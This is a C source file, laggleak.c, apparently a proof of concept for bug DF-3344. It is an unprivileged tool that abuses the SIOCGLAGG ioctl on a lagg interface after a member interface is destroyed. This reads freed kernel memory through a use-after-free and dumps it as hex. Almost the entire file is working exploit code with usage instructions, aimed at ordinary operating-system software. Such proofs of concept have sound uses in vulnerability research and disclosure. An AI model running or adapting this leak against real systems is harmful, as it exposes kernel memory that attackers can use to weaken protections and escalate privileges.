DF-3344 / laggleak.c
/* * laggleak.c - unprivileged SIOCGLAGG port-table dump for DF-3344. * * Opens an ordinary UDP socket and issues SIOCGLAGG on lagg0 (a read-only * ioctl: no privilege check in lagg_ioctl). After a member interface has * been destroyed, the lagg still walks sc_ports and calls * lagg_port2req() -> strlcpy(rp->rp_portname, lp->lp_ifp->if_xname, ...) * on the FREED member ifnet: whatever bytes now occupy the freed * tap_softc slab are copied out to us. * * Usage: ./laggleak [laggif] */ #include <sys/param.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <net/if.h> #include <net/lagg/if_lagg.h> #include <netinet/in.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <err.h> static void hexname(const char *p) { int i; printf(" rp_portname hex: "); for (i = 0; i < IFNAMSIZ; i++) printf("%02x ", (unsigned char)p[i]); printf("\n"); } int main(int argc, char **argv) { const char *ifname = argc > 1 ? argv[1] : "lagg0"; struct lagg_reqport buf[LAGG_MAX_PORTS]; struct lagg_reqall ra; int s, i; s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) err(1, "socket"); memset(&ra, 0, sizeof(ra)); memset(buf, 0, sizeof(buf)); strlcpy(ra.ra_ifname, ifname, sizeof(ra.ra_ifname)); ra.ra_size = sizeof(buf); ra.ra_port = buf; if (ioctl(s, SIOCGLAGG, &ra) != 0) err(1, "SIOCGLAGG"); printf("lagg %s proto=%u ports=%u\n", ifname, ra.ra_proto, ra.ra_ports); for (i = 0; i < ra.ra_ports && i < LAGG_MAX_PORTS; i++) { printf(" port[%d]: ifname='%s' portname='%s' prio=%u flags=0x%x\n", i, buf[i].rp_ifname, buf[i].rp_portname, buf[i].rp_prio, buf[i].rp_flags); hexname(buf[i].rp_portname); } return (0); } |